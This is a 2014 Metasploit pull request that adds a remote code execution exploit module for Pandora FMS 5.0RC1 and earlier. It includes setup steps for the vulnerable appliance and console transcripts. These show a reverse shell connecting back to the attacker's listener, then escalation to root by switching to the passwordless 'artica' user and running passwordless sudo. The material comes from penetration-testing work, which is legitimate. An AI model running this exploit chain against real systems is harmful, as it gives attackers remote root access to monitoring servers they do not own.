rapid7/metasploit-framework — pull request #2927 by xistence (2014-01-29 05:50:26+00:00)
Title: Added Pandora FMS RCE

Remote Code Execution in Pandora FMS 5.0RC1 and below (Tested on 4.0/4.1/5.0RC1 appliances).

How to replicate the vulnerable environment:

- Download Pandora FMS 5.0RC1 from http://sourceforge.net/projects/pandora/files/Pandora%20FMS%205.0/RC1/PandoraFMS5.0RC1.iso/download
- Boot the ISO/CD and install it to disk

By default in versions 4.1 and 5.0 there will be no password set for the "artica" user, which allows us to escalate privileges to this passwordless user and sudo to root (passwordless sudo).
In version 4.0 a password is forced for this user.
Privilege escalation can be set with the "PRIVESC" option in the module, by default I kept this setting at false.

msf > use exploit/linux/http/pandora
msf exploit(pandora) > set RHOST 192.168.2.118
RHOST => 192.168.2.118
msf exploit(pandora) > exploit

[*] Started reverse handler on 192.168.11.104:4444
[*] 192.168.2.118:8023 - Sending payload
[*] Command shell session 1 opened (192.168.11.104:4444 -> 192.168.2.118:48607) at 2014-01-29 12:25:12 +0700

id
uid=500(pandora) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

Exploiting with PRIVESC is "true", this will only work on 4.1/5.0RC1 if no password is set for the artica user (which is the default):

msf exploit(pandora) > set PRIVESC true
PRIVESC => true
msf exploit(pandora) > exploit

[*] Started reverse handler on 192.168.11.104:4444
[*] 192.168.2.118:8023 - Sending payload
[*] Command shell session 2 opened (192.168.11.104:4444 -> 192.168.2.118:48608) at 2014-01-29 12:25:58 +0700
[*] 192.168.2.118:8023 - Trying to escalate privileges to root

862108153
bwapIGiYeeZoMiHKjyZtfrhHbPjjUhVA
sh-4.1$ su - artica;echo ikRGKoSZiegvfBMVdijgVDvbBJKsGFWj
-bash-4.1$
-bash-4.1$ sudo -s;echo eiYravbdLaQAQFSNwqeLDUELviDiawli
[root@livecd artica]#
[root@livecd artica]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[root@livecd artica]#